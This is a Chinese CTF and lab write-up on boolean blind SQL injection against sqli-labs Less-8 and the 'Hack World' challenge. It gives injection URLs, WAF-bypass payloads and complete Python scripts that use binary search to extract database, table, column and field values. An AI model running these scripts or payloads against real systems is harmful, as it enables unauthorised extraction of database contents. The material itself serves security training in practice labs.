2022.8.4 sqli-labs Less-8(布尔盲注)
sqli-labs Less-8(布尔盲注,附SQL绕过补充)
像这样的,我输入id后没有显示出来的数据,此时我们注入就叫布尔注入(boolean)或盲注(blind)
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysqli_error($con1));
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
可以看到,只要get传入跟数据库不匹配的id,他就会啥都不报
True:http://localhost/sqli-labs/Less-8/?id=1
False:http://localhost/sqli-labs/Less-8/?id=333
只能根据真、假两种状态来进行注入攻击,所以叫boolean攻击
一些铺垫
我们可以利用数据库长度length来推测
既然是布尔注入,可以用数据库的长度来注入看服务器是否回显来推断出其长度。
有:http://localhost/sqli-labs/Less-8/?id=1' and 1=1%23
有: http://localhost/sqli-labs/Less-8/?id=1' and length(database())>=8%23
没有:http://localhost/sqli-labs/Less-8/?id=1' and length(database())>=9%23
说明库名长度是8!
接下来的思路就是逐个字符判断..
注:substr(str,start,length)
没有:http://localhost/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='a'%23
substr(string, start, length),其中start从1开始
有: http://localhost/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='s'%23
另:可以用ascii()或者ord()的ascii编码来爆破数据库的每个字符。
没有:http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr(database(),1,1))=97%23
substr(string, start, length),其中start从1开始
有: http://localhost/sqli-labs/Less-8/?id=1' and ord(substr(database(),1,1))=115%23
方便原因:用bp中的爆破intruder模块会方便一些。
另:我们可以用Cluster bomb模式,把每个位置的都试出来
得到了数据库名security
考虑到专业版的一些种种原因,总会受到各种限制,那我们下面介绍另外一个diy方案。
python脚本
注:一直访问同一个网站最好用session会话,先记住他比较快就好。
import requests
import time
session = requests.session()
burp0_url = "http://127.0.0.1:80/sqli-labs/Less-8"
burp0_headers = {"Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Accept-Language": "en",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36",
"Connection": "close"}
def getDatabase():
results = []
for i in range(8):
print(f'{i}...')
for j in range(32, 128):
params = {
'id': f"1' and ord(substr(database(),{i + 1},1))={j}#"
}
ret = session.get(burp0_url, params=params)
if 'You are in' in ret.text:
results.append(chr(j))
print(''.join(results))
break
return ''.join(results)
begin = time.time()
getDatabase()
print(f'time spend: {time.time() - begin}')
最终完结版本(python二分法)
有了前面的铺垫,我们可以进一步用二分法优化(字符越长越明显)。
import requests
import time
session = requests.session()
burp0_url = "http://127.0.0.1:80/sqli-labs/Less-8"
burp0_headers = {"Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Accept-Language": "en",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36",
"Connection": "close"}
def getDatabase():
results = []
for i in range(1000):
print(f'{i}...')
start = -1
end = 255
mid = -1
while start < end:
# mid = 127 [128~255],[-1,127]
# time : O(log2N) so,only get_session 8 times.
mid = start + (end-start)//2
params = {
# 'id': f"1' and ord(substr(database(),{i + 1},1)) = {mid}#"
'id': f"1' and ord(substr(database(),{i + 1},1)) > {mid}#"
}
ret = session.get(burp0_url, params=params)
if 'You are in' in ret.text:
start = mid + 1
else:
end = mid
if mid == -1:
break
results.append(chr(start))
print(''.join(results))
return ''.join(results)
begin = time.time()
getDatabase()
print(f'time spend: {time.time() - begin}')
可以看到,明显快了很多
他的优点很明显:
速度快且自动获取长度
那么我们以相同的思路搞其他的hack,那么最终的代码也出来了。
# @auther:yuezi2048
# date:2022.8.4
# 此为布尔盲注的模板,以Sql-labs Less-8为例
import requests
import time
session = requests.session()
burp0_url = "http://127.0.0.1:80/sqli-labs/Less-8"
burp0_headers = {"Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Accept-Language": "en",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36",
"Connection": "close"}
def getDatabase():
results = []
for i in range(1000):
print(f'{i}...')
start = -1
end = 255
mid = -1
while start < end:
# mid = 127 [128~255],[-1,127]
# time : O(log2N) so,only get_session 8 times.
mid = start + (end - start) // 2
params = {
# 'id': f"1' and ord(substr(database(),{i + 1},1)) = {mid}#"
'id': f"1' and ord(substr(database(),{i + 1},1)) > {mid}#"
}
ret = session.get(burp0_url, params=params)
if 'You are in' in ret.text:
start = mid + 1
else:
end = mid
if mid == -1:
break
results.append(chr(start))
print(''.join(results))
return ''.join(results)
def getTableName(db):
results = []
for i in range(1000):
print(f'{i}...')
start = -1
end = 255
mid = -1
while start < end:
# mid = 127 [128~255],[-1,127]
# time : O(log2N) so,only get_session 8 times.
mid = start + (end - start) // 2
params = {
# 'id': f"1' and ord(substr(database(),{i + 1},1)) = {mid}#"
'id': f"1' and ord(substr(\
(select group_concat(table_name) from information_schema.tables where table_schema='{db}')\
,{i + 1},1)) > {mid}#"
}
ret = session.get(burp0_url, params=params)
if 'You are in' in ret.text:
start = mid + 1
else:
end = mid
if mid == -1:
break
results.append(chr(start))
print(''.join(results))
return ''.join(results)
def getColumnName(db, tb_name):
results = []
for i in range(1000):
print(f'{i}...')
start = -1
end = 255
mid = -1
while start < end:
# mid = 127 [128~255],[-1,127]
# time : O(log2N) so,only get_session 8 times.
mid = start + (end - start) // 2
params = {
# 'id': f"1' and ord(substr(database(),{i + 1},1)) = {mid}#"
'id': f"1' and ord(substr(\
(select group_concat(column_name) from information_schema.columns\
where table_schema='{db}' && table_name='{tb_name}')\
,{i + 1},1)) > {mid}#"
}
ret = session.get(burp0_url, params=params)
if 'You are in' in ret.text:
start = mid + 1
else:
end = mid
if mid == -1:
break
results.append(chr(start))
print(''.join(results))
return ''.join(results)
def getValue(db, tb_name, col_name):
results = []
for i in range(1000):
print(f'{i}...')
start = -1
end = 255
mid = -1
while start < end:
# mid = 127 [128~255],[-1,127]
# time : O(log2N) so,only get_session 8 times.
mid = start + (end - start) // 2
params = {
# 'id': f"1' and ord(substr(database(),{i + 1},1)) = {mid}#"
'id': f"1' and ord(substr(\
(select group_concat(`{col_name}`) from `{db}`.`{tb_name}`)\
,{i + 1},1)) > {mid}#"
}
ret = session.get(burp0_url, params=params)
if 'You are in' in ret.text:
start = mid + 1
else:
end = mid
if mid == -1:
break
results.append(chr(start))
print(''.join(results))
return ''.join(results)
def getAllDatabase():
results = []
for i in range(1000):
print(f'{i}...')
start = -1
end = 255
mid = -1
while start < end:
# mid = 127 [128~255],[-1,127]
# time : O(log2N) so,only get_session 8 times.
mid = start + (end - start) // 2
params = {
# 'id': f"1' and ord(substr(database(),{i + 1},1)) = {mid}#"
'id': f"1' and ord(substr(\
(select group_concat(schema_name) from information_schema.schemata)\
,{i + 1},1)) > {mid}#"
}
ret = session.get(burp0_url, params=params)
if 'You are in' in ret.text:
start = mid + 1
else:
end = mid
if mid == -1:
break
results.append(chr(start))
print(''.join(results))
return ''.join(results)
# 获取数据库列表
# getAllDatabase()
begin = time.time()
# 获取当前数据库
print("start hack db...")
db = getDatabase()
print(f'[get_database:{db}]:time spend sum: {time.time() - begin}')
# 获取数据表
print("start hack tb_name...")
tb_names = getTableName(db)
print(f'[tb_name:{tb_names}]:time spend sum: {time.time() - begin}')
# 获取数据字段
tb_names = tb_names.split(",")
for tb_name in tb_names:
print(f"start hack col_name in table {tb_name}")
col_name = getColumnName(db, tb_name)
print(f'[tb_name:{tb_name},col_name:{col_name}]:time spend sum: {time.time() - begin}')
# 获取数据字段值
print("start get_value...")
print(f"db:{db}")
print(f"tb:{tb_names}")
_db = input("which db?")
_tb_name = input("which tb_name?")
_col_name = input("which col_name?")
res = getValue(_db, _tb_name, _col_name)
print(f'[value:{res}]:time spend sum: {time.time() - begin}')
print("done.")
还是非常帅的,最后总用时也仅仅在1分钟作用
练习题
东塔攻防世界_布尔型盲注
和less8一样,我们只要把关键词替代掉和url修改即可,其他不用多做修改
也是仅仅一分钟就跑完了所有的值,电脑好点的应该更快
[CISCN2019 华北赛区 Day2 Web1]Hack World
这边主要提醒自己:substr()是基于Oracle的,substring()是基于SQL Server的,切记不可混用,否则会报错!之前一直用substr()一直出不来可能就是这个原因!
他这边过滤了and,or,很自然想到用异或
这边本来想用过滤引号的
fake'^(2>1)^'true'='false
但是发现好像不太对,他出来了一个bool(false)
后发现他源代码前后压根没有引号
令id=‘1’
也是可以出来结果的
后经了解后,此处推断为\(id整数类型,判断时\)id会先被转换成整数,比如布尔类型转换成整数
那么也不需要什么注释绕过乱七八糟的了,直接注入一个混入脏东西的bool逻辑式子做测试用:
0^(ascii(substring((select(flag)from(flag)),1,1))>0)
易错点1:左边的数只能写0,不要想当然写除了1和2之外的数!!只要非0,那么在逻辑表达式中就是true(1),本人就是在这遭殃了
代入python脚本跑一遍即可。
然后写代码的时候就注意一下这边是用post传参
易错点2:访问频率太快会被服务器杀!!注意让python睡一会儿!
主要的函数如下,这边已经给我们数据库和表名了,那就直接查就好。
def getValue(db, tb_name, col_name):
results = []
for i in range(1000):
print(f'{i}...')
start = -1
end = 255
mid = -1
while start < end:
# mid = 127 [128~255],[-1,127]
# time : O(log2N) so,only get_session 8 times.
mid = start + (end - start) // 2
burp0_data = {
# 'id': f"1' and ord(substr(database(),{i + 1},1)) = {mid}#"
'id': f"0^(ascii(substring((select(flag)from(flag)),{i+1},1))>{mid})"
}
ret = session.post(burp0_url, headers=burp0_headers, data=burp0_data, timeout=5)
if 'girlfriend' in ret.text:
start = mid + 1
else:
end = mid
if mid == -1:
break
results.append(chr(start))
print(''.join(results))
time.sleep(0.5)
return ''.join(results)
也是"简简单单"地拿到flag
附:其他思路的注入
1.if语句
id= if(1>2,1,2)
若第一个判断式为真就取第二个值,否则取第三个值,此处id=2
burp0_data = {
'id': f"if(ascii(substring((select\nflag\nfrom\nflag),{i+1},1))>{mid},1,10086)"
}
ret = session.post(burp0_url, headers=burp0_headers, data=burp0_data, timeout=5)
2.判别式转数字
如果 id=(1>2),那么id=0
如果 id=(1<2),那么id=1
关键python请求语句
burp0_data = {
'id': f"(ascii(substring((select\nflag\nfrom\nflag),{i+1},1))>{mid})"
}
ret = session.post(burp0_url, headers=burp0_headers, data=burp0_data, timeout=5)
做了一下BUU东北赛区的一道盲注后,发现还需补充一些绕过姿势,这边稍微正整理了一下。
绕过补充
注释
-- 注释内容
# 注释内容
/*注释内容*/
;
内联注释
内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!...*/
中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。
mysql> select * from users where id = -1 union /*!select*/ 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+